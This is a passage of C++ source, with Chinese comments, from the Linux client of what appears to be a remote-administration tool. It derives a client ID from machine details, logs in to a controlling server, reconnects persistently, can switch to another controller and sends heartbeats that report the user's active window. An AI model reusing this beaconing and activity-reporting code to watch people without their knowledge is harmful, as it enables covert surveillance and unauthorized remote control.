std::string idInput = machineId + "|" + normPath;
|
||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||
Mprintf("Calculated clientID(v2): %llu (machineId=%s, path=%s)\n",
|
||
g_myClientID, machineId.c_str(), normPath.c_str());
|
||
} else {
|
||
// 老算法兜底(与服务端 CONTEXT_OBJECT::CalculateID 相同算法)
|
||
// 格式: pubIP|hostname|os|cpu|path
|
||
char cpuStr[32];
|
||
snprintf(cpuStr, sizeof(cpuStr), "%uMHz", logInfo.dwCPUMHz);
|
||
std::string idInput = (pubIP.empty() ? "?" : pubIP) + "|" +
|
||
hostname + "|" +
|
||
distro + "|" +
|
||
cpuStr + "|" +
|
||
exePath;
|
||
g_myClientID = XXH64(idInput.c_str(), idInput.length(), 0);
|
||
Mprintf("Calculated clientID(v1 fallback): %llu (machine-id 读取失败)\n", g_myClientID);
|
||
}
|
||
|
||
logInfo.AddReserved(std::to_string(g_myClientID).c_str()); // [16] RES_CLIENT_ID
|
||
logInfo.AddReserved((int)getpid()); // [17] RES_PID
|
||
logInfo.AddReserved(getFileSize(exePath).c_str()); // [18] RES_FILESIZE
|
||
logInfo.AddReserved(TlsEnabled() ? 1 : 0); // [19] RES_TLS(有信任锚即 1)
|
||
logInfo.AddReserved((int)getProcessUptimeSeconds()); // [20] RES_UPTIME(登录时已运行秒数)
|
||
|
||
// 服务端签名输入:与服务端 AddList 处签名格式一致(startTime + "|" + clientID)
|
||
ClientAuth::g_loginMsg = std::string(logInfo.szStartTime) + "|" + std::to_string(g_myClientID);
|
||
|
||
// 初始化用户活动检测器(用于心跳包中的 ActiveWnd 字段)
|
||
ActivityChecker activityChecker;
|
||
|
||
// 历史活动采样器必须用独立实例:Xlib 连接不能跨线程共用,心跳线程一直在用
|
||
// activityChecker。没有桌面 / 有 X 但没有 EWMH 窗口管理器时不启动采样线程,
|
||
// 查询时走无头后端。
|
||
ActivityChecker historyChecker;
|
||
const bool windowBackend = historyChecker.Usable();
|
||
g_activityWindowBackend.store(windowBackend, std::memory_order_relaxed);
|
||
if (windowBackend) {
|
||
LinuxActivity::ActivityHistory::Instance().Start([&historyChecker]() {
|
||
return historyChecker.Probe((unsigned long)ACTIVITY_IDLE_BREAK_SEC * 1000UL);
|
||
});
|
||
}
|
||
Mprintf("[Activity] 历史活动后端: %s\n",
|
||
windowBackend ? "桌面窗口(X11)"
|
||
: (historyChecker.Available() ? "无头(登录+命令,X 上没有 EWMH 窗口管理器)"
|
||
: "无头(登录+命令)"));
|
||
|
||
std::unique_ptr<IOCPClient> ClientObject(new IOCPClient(g_bExit, false));
|
||
ClientObject->setManagerCallBack(NULL, DataProcess, NULL);
|
||
// 不传 conn 的构造路径拿不到注入的 CONNECT_ADDRESS,协议只能显式喂进去:否则哪怕
|
||
// g_SETTINGS.protoType 配成 WS/WSS,也会静默按明文 TCP 直连(日志里一个字都没有)。
|
||
// 喂动作在循环内(见下):转移/到期恢复都会改传输方式,只喂一次会按旧协议重连。
|
||
if (g_SETTINGS.protoType == PROTO_WS || g_SETTINGS.protoType == PROTO_WSS) {
|
||
Mprintf("[WS] 按配置的传输协议连接: proto=%d(WSS 需要 TLS 支持,不支持的平台会 fail-closed)\n",
|
||
(int)(unsigned char)g_SETTINGS.protoType);
|
||
}
|
||
g_pMainClient = ClientObject.get(); // 自升级失败回报用
|
||
while (!g_bExit) {
|
||
// 转移目标要在用之前应用;上一次重连留下的「请断开」标志在此已无意义
|
||
ApplyPendingTransfer();
|
||
CheckTransferExpiry();
|
||
g_needReconnect.store(false, std::memory_order_relaxed);
|
||
ClientObject->SetDefaultProto((int)(unsigned char)g_SETTINGS.protoType);
|
||
clock_t c = clock();
|
||
if (!ClientObject->ConnectServer(g_SETTINGS.ServerIP(), g_SETTINGS.ServerPort())) {
|
||
Sleep(5000);
|
||
continue;
|
||
}
|
||
// 主连接已经搬到转移目标:那条「提前建立」的临时连接完成使命。留着就是同一
|
||
// clientID 在这个主控上的第二条连接,服务端会互踢。
|
||
if (g_transferValidTo.load(std::memory_order_relaxed) > 0)
|
||
StopChildren(KIND_TRANSFER);
|
||
|
||
// 进入新连接,重置服务端身份校验状态
|
||
ClientAuth::OnNewConnection();
|
||
// 传输方式可能已被热切换(TLS 启/停),登录上报的 RES_TLS 必须反映本次连接。
|
||
RefreshLoginTls(logInfo);
|
||
// 同一条连接可能是几小时前断掉后重连的,RES_UPTIME 必须按「现在」重算
|
||
RefreshLoginUptime(logInfo);
|
||
// 屏幕预览能力取决于本机当前是否有可用桌面(daemon 启动时可能还没有 DISPLAY)
|
||
RefreshLoginCaps(logInfo);
|
||
ClientObject->SendLoginInfo(logInfo.Speed(clock() - c));
|
||
|
||
// 新连接:把 ACK 看门狗喂到当前时间,避免循环刚进来就被误判为超时
|
||
g_lastHeartbeatAckMs.store(GetUnixMs(), std::memory_order_relaxed);
|
||
|
||
// 心跳保活循环:定时发送心跳包,服务端回复后动态更新 RTT
|
||
while (ClientObject->IsRunning() && ClientObject->IsConnected() && S_CLIENT_NORMAL == g_bExit) {
|
||
// 检查是否需要重发登录信息(分组变更后)
|
||
if (g_needResendLogin.exchange(false)) {
|
||
// 更新 szPCName(hostname/groupname 格式)
|
||
std::string grp = g_SETTINGS.szGroupName;
|
||
if (!grp.empty()) {
|
||
std::string pcNameWithGroup = std::string(hostname) + "/" + grp;
|
||
strncpy(logInfo.szPCName, pcNameWithGroup.c_str(), sizeof(logInfo.szPCName) - 1);
|
||
} else {
|
||
strncpy(logInfo.szPCName, hostname, sizeof(logInfo.szPCName) - 1);
|
||
}
|
||
logInfo.szPCName[sizeof(logInfo.szPCName) - 1] = '\0';
|
||
RefreshLoginTls(logInfo);
|
||
RefreshLoginUptime(logInfo);
|
||
RefreshLoginCaps(logInfo);
|
||
ClientObject->SendLoginInfo(logInfo);
|
||
Mprintf(">> Resent login info after group change\n");
|
||
}
|
||
|
||
// 等待心跳间隔(每秒检查一次退出条件,保证及时响应)
|
||
int interval = g_heartbeatInterval > 0 ? g_heartbeatInterval : 30;
|
||
for (int i = 0; i < interval; ++i) {
|
||
// 转移生效只改地址(下次重连才用),到期则改回原主控并置重连标志
|
||
ApplyPendingTransfer();
|
||
CheckTransferExpiry();
|
||
if (g_needReconnect.load(std::memory_order_relaxed))
|
||
break;
|
||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||
break;
|
||
Sleep(1000);
|
||
}
|
||
// 信任锚热切换(COMMAND_TLS_ENABLE/DISABLE)与转移到期都会置这个标志:
|
||
// 断开后由外层循环用新地址、新传输方式重连。
|
||
if (g_needReconnect.exchange(false)) {
|
||
Mprintf(">>> Reconnecting to apply the address/transport change\n");
|
||
ClientObject->Disconnect();
|
||
break;
|
||
}
|
||
if (!ClientObject->IsRunning() || !ClientObject->IsConnected() || g_bExit != S_CLIENT_NORMAL)
|
||
break;
|
||
|
||
// 30 秒内未通过 MasterSettings 校验 → 断开本连接让外层重连,
|
||
// 永不退出进程(详见 ClientAuth::IsTimedOut 注释)。
|
||
if (ClientAuth::IsTimedOut()) {
|
||
ClientObject->Disconnect(); // 关闭 socket,防止重连时 fd 泄漏
|
||
break;
|
||
}
|
||
|
||
// 应用层 ACK 看门狗:超过 max(60s, interval*3) 没收到 HeartbeatACK 就
|
||
// 主动断开走重连。专治 TCP send() 在半死连接下永远返回成功的盲区——
|
||
// VM 挂起恢复 / 笔记本合盖唤醒 / NAT 表项老化等场景,对端早已不在,
|
||
// 但本端 send() 仍把字节塞进 SNDBUF,IsConnected() 一直为真。
|
||
// 与服务端 CheckHeartbeat 超时(2015RemoteDlg.cpp 的 max(60, ReportInterval*3))
|
||
// 对齐:服务端删 host 时本端也能感知到,立即重连而不是等数据卡 ~15 分钟。
|
||
// 这一层不依赖 TCP_USER_TIMEOUT,跨平台必备。
|
||
{
|
||
int ackTimeoutSec = (interval * 3 > 60) ? interval * 3 : 60;
|
||
const uint64_t ackTimeoutMs = (uint64_t)ackTimeoutSec * 1000ULL;
|
||
uint64_t lastAck = g_lastHeartbeatAckMs.load(std::memory_order_relaxed);
|
||
uint64_t nowMs = GetUnixMs();
|
||
if (lastAck > 0 && nowMs > lastAck && nowMs - lastAck > ackTimeoutMs) {
|
||
Mprintf(">>> Heartbeat ACK timeout: %llu ms since last ACK "
|
||
"(threshold=%llu ms), reconnecting\n",
|
||
(unsigned long long)(nowMs - lastAck),
|
||
(unsigned long long)ackTimeoutMs);
|
||
ClientObject->Disconnect();
|
||
break;
|
||
}
|
||
}
|
||
|
||
// 构造并发送心跳包(与 Windows 端 KernelManager::SendHeartbeat 格式一致)
|
||
// ActiveWnd 直接发 UTF-8——与 LOGIN_INFOR.moduleVersion 中声明的
|
||
// CLIENT_CAP_UTF8 一致;服务端按 cap 位用 CP_UTF8 解码。早期为兼容
|
||
// MBCS 老服务端做过 utf8ToGbk 转换,但现在新版 Linux 客户端经
|
||
// libsign 网关只能连新版服务端,无需再转。
|
||
std::string activity = activityChecker.Check();
|
||
|
||
Heartbeat hb;
|
||
hb.Time = GetUnixMs();
|
||
hb.Ping = (int)(g_rttEstimator.srtt * 1000); // srtt 是秒,转为毫秒
|
||
strncpy(hb.ActiveWnd, activity.c_str(), sizeof(hb.ActiveWnd) - 1);
|
||
|
||
BYTE buf[sizeof(Heartbeat) + 1];
|
||
buf[0] = TOKEN_HEARTBEAT;
|
||
memcpy(buf + 1, &hb, sizeof(Heartbeat));
|
||
ClientObject->Send2Server((char*)buf, sizeof(buf));
|
||
// 心跳节奏太密日志会刷屏;最多 60s 一行
|
||
static time_t lastSendLog = 0;
|
||
time_t now_s = time(nullptr);
|
||
if (now_s - lastSendLog >= 60) {
|
||
lastSendLog = now_s;
|
||
Mprintf(">>> Heartbeat sent: Ping=%dms, Interval=%ds, Activity=%s\n",
|
||
hb.Ping, interval, activity.c_str());
|
||
}
|
||
}
|
||
}
|
||
|
||
// 退出原因留痕:signal handler 不能直接打日志,在这里补一行。
|
||
if (g_lastSignal != 0) {
|
||
Mprintf(">>> Exit by signal %d (g_bExit=%d)\n",
|
||
(int)g_lastSignal, (int)g_bExit);
|
||
} else {
|
||
Mprintf(">>> Exit normally (g_bExit=%d)\n", (int)g_bExit);
|
||
}
|
||
|
||
// 主实例退出:先收掉分享/转移子进程(它们各有一条连向目标主控的连接),再停日志。
|
||
// 分享实例自己不持有任何子进程,也不碰 PID 文件。
|
||
if (!g_bShareInstance) {
|
||
// 顺序不能反:先让收尸线程停下并 join,再杀子进程——否则子进程退出时它还会
|
||
// 往(马上要停的)日志里写一行。
|
||
g_shareReaperStop.store(true, std::memory_order_relaxed);
|
||
if (g_shareReaperThread.joinable())
|
||
g_shareReaperThread.join();
|
||
StopChildren(KIND_ALL);
|
||
}
|
||
|
||
// 采样线程要在 main 的局部对象(historyChecker)析构前停掉
|
||
LinuxActivity::ActivityHistory::Instance().Stop();
|
||
|
||
// 历史活动的报表线程是 detached 的,可能还在跑 last / 读历史文件;它最后要写一行日志,
|
||
// 等它收尾再关日志。最多等 2 秒,等不到就算了(进程要退出,不能因此卡住)。
|
||
for (int i = 0; i < 20 && g_activityReportsInFlight.load(std::memory_order_relaxed) > 0; ++i)
|
||
std::this_thread::sleep_for(std::chrono::milliseconds(100));
|
||
|
||
Logger::getInstance().stop();
|
||
if (!g_bShareInstance)
|
||
removePidFile();
|
||
return 0;
|
||
}
|